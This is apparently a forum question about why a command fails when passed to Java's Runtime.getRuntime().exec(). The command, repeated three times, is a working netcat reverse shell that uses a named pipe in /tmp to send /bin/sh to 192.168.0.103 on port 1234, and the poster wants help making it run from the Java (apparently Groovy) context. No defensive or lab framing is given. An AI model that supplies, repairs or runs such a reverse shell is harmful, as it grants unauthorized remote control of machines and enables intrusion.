title: java Runtime.getRuntime().exec() unable to run commands
body: <p>I need to run the following command from inside the Runtime.getRuntime().exec():</p>
  
  <pre><code>rm /tmp/backpipe; mkfifo /tmp/backpipe &amp;&amp; /bin/sh 0&lt;/tmp/backpipe | nc 192.168.0.103 1234 1&gt;/tmp/backpipe
  </code></pre>
  
  <p>In what format should I pass it to my running java program that has the line :</p>
  
  <pre><code>Process localProcess = Runtime.getRuntime().exec(myStr);
  </code></pre>
  
  <p>where myStr is the entire command above that I want to execute ?</p>
  
  <p>Things I have already tried :</p>
  
  <pre><code>[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe &amp;&amp; /bin/sh 0&lt;/tmp/backpipe | nc 192.168.0.103 1234 1&gt;/tmp/backpipe\"] as String[]"
  </code></pre>
  
  <p>gives me the error :</p>
  
  <blockquote>
    <p>Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory</p>
  </blockquote>
  
  <p>If I simply run the command from my terminal as :</p>
  
  <pre><code>rm /tmp/backpipe; mkfifo /tmp/backpipe &amp;&amp; /bin/sh 0&lt;/tmp/backpipe | nc 192.168.0.103 1234 1&gt;/tmp/backpipe
  </code></pre>
  
  <p>It runs like a charm, but not through the runtime.exec().</p>